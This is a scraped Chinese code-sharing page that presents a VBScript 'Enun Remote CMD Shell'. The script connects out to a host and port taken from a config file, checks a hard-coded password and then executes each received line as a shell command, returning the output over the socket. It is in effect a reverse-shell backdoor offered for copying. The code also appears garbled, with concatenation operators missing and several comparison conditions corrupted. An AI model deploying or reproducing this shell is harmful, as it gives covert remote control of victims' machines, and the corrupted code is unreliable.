主頁(yè) > 知識(shí)庫(kù) > VBScript Enun Remote CMD Shell代碼

VBScript Enun Remote CMD Shell代碼

熱門(mén)標(biāo)簽:佛山真人電銷(xiāo)機(jī)器人廠家 如何用機(jī)器人進(jìn)行電銷(xiāo) 地圖標(biāo)注政府哪個(gè)部門(mén)管 東營(yíng)快遞外呼系統(tǒng) 齊齊哈爾高德地圖標(biāo)注店 哪里有便宜的地圖標(biāo)注公司 神行者美術(shù)館地圖標(biāo)注 除了地圖標(biāo)注還有這種生意嗎 百度地圖標(biāo)注點(diǎn)距離代碼
效果如圖:



復(fù)制代碼 代碼如下:

'============================
' Enun Remote CMDShell v 1.0
'============================

Option Explicit

CONST ACCOUNT_LOCK_TIME = 600000    '賬戶(hù)鎖定時(shí)間,10分鐘
CONST LOCKOUT_BAD_COUNT = 3     '密碼失敗次數(shù)
CONST DEFAULT_WAIT_TIME = 1000     '默認(rèn)延時(shí),1秒
CONST DEFAULT_TIME_OUT  = 60000    '默認(rèn)超時(shí),60秒

Public WinSocket, sRevData, Count
Do
 On Error Resume Next

 Do While (WinSocket.State > 7)
  Dim ObjectFSO, GetConfig, Line, Host, Port, i

  Set WinSocket = WScript.CreateObject("MSWinsock.Winsock")
  Set ObjectFSO = CreateObject("Scripting.FileSystemObject")
  Set GetConfig = ObjectFSO.OpenTextFile(".\enunrc.ini", 1)

  For i = 1 To 3
   Line = GetConfig.ReadLine
   If InStr(Line,"Host") > 0 Then Host = Split(Line, "=", -1, 1)(1)
   If InStr(Line,"Port") > 0 Then Port = Split(Line, "=", -1, 1)(1)
  Next

  If (Len(Host) = 0) Then Host = "127.0.0.1"
  If (Len(Port) = 0) Then Port = "8090"

  WinSocket.Protocol = 0
  WinSocket.RemoteHost = Host
  WinSocket.RemotePort = Port
  WinSocket.Connect

  WScript.Sleep DEFAULT_WAIT_TIME * 5
  Call TrackScript(2, WinSocket.State, WinSocket.BytesReceived)
  'Setp: 2
 Loop

 Do While (WinSocket.State > 9 and WinSocket.State > 0)

  Dim AuthKey, LockoutBadCount, TIMEOUT_M, TIMEOUT_N

  TIMEOUT_N = 0

  WinSocket.SendData WinSocket.LocalHostName " is Connected, Enter Password: "
  Do While (WinSocket.BytesReceived = 0 and WinSocket.State > 9 and WinSocket.State > 0)
   TIMEOUT_N = TIMEOUT_N + 1000

   Call ControlTimeout(TIMEOUT_N)
  Loop

  WinSocket.GetData Authkey, vbString
  If Split(Authkey, chr(10), -1, 1)(0) = "veteran" Then
   WinSocket.SendData "Logon Success, Welcome!" vbcrlf

   sRevData = "veteran"

   Do While (WinSocket.BytesReceived = 0 and WinSocket.State > 9 and WinSocket.State > 0)
    Dim ShellObj, Executes

    Set ShellObj = CreateObject("WScript.Shell")
    Set Executes = ShellObj.Exec(Split(sRevData, chr(10), -1, 1)(0))

    WinSocket.SendData Executes.StdOut.ReadAll
    WinSocket.SendData Executes.StdErr.ReadAll

    If (Len(sRevData) > 0) Then
     TIMEOUT_M = 0
     WinSocket.SendData vbcrlf "[" WinSocket.LocalHostName "@enun]#: "
    Else
     Do While (WinSocket.BytesReceived = 0 and WinSocket.State > 9 and WinSocket.State > 0)
      TIMEOUT_M = TIMEOUT_M + 1000
      Call ControlTimeout(TIMEOUT_M)
     Loop
    End If

    If (LCase(Left(sRevData, 4)) = "exit") Then WinSocket.Close

    WinSocket.GetData sRevData, vbString

    WScript.Sleep DEFAULT_WAIT_TIME
    Call TrackScript(5, WinSocket.State, WinSocket.BytesReceived)
    'Setp: 5
   Loop
  Else
   LockoutBadCount = LockoutBadCount + 1
   WinSocket.SendData "Logon fail: Unknown user name or bad password." vbcrlf
   WScript.Sleep DEFAULT_WAIT_TIME
  End If

  If (LockoutBadCount = LOCKOUT_BAD_COUNT) Then
   WinSocket.SendData "Failed too many times, the account has been locked!" vbcrlf
   WScript.Sleep DEFAULT_WAIT_TIME
   WinSocket.Close

   LockoutBadCount = 0
   WScript.Sleep ACCOUNT_LOCK_TIME
   '鎖定賬戶(hù)
  End If
  Call TrackScript(3, WinSocket.State, WinSocket.BytesReceived)
  'Setp: 3
 Loop
 Call TrackScript(1, WinSocket.State, WinSocket.BytesReceived)
 'Setp: 1
Loop

 

'=======================
'Control Timeout.
'=======================
Public Sub ControlTimeout(Count)
 If Count = DEFAULT_TIME_OUT Then
  WinSocket.SendData vbcrlf "Local server response timeout, Please reconnect ..." vbcrlf
  WScript.Sleep DEFAULT_WAIT_TIME
  WinSocket.Close
  '控制端60秒內(nèi)無(wú)輸入的話,連接自動(dòng)斷開(kāi),可即時(shí)連接。
 Else
  WScript.Sleep DEFAULT_WAIT_TIME
 End If
 Call TrackScript(4, WinSocket.State, WinSocket.BytesReceived)
 'Setp: 4
End Sub

'=======================
'Track Script.
'=======================
Public Sub TrackScript(MyStep, StateCode, BytesReceived)
 WScript.echo "MyStep: " MyStep ", StateCode: " StateCode ", Received: " BytesReceived " Bytes"
End Sub

您可能感興趣的文章:
  • 獲取服務(wù)器信息的Shell腳本分享(ubuntu、centos測(cè)試通過(guò))
  • Shell腳本實(shí)現(xiàn)自動(dòng)檢測(cè)修改最快的Ubuntu軟件源
  • 用Shell腳本快速搭建Ubuntu下的Nodejs開(kāi)發(fā)環(huán)境
  • Ubuntu下安裝rsh實(shí)現(xiàn)無(wú)密碼訪問(wèn)詳解

標(biāo)簽:???/a> 四平 鶴壁 西安 湖州 邢臺(tái) 銅川 文山

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《VBScript Enun Remote CMD Shell代碼》,本文關(guān)鍵詞  VBScript,Enun,Remote,CMD,Shell,;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問(wèn)題,煩請(qǐng)?zhí)峁┫嚓P(guān)信息告之我們,我們將及時(shí)溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無(wú)關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《VBScript Enun Remote CMD Shell代碼》相關(guān)的同類(lèi)信息!
  • 本頁(yè)收集關(guān)于VBScript Enun Remote CMD Shell代碼的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章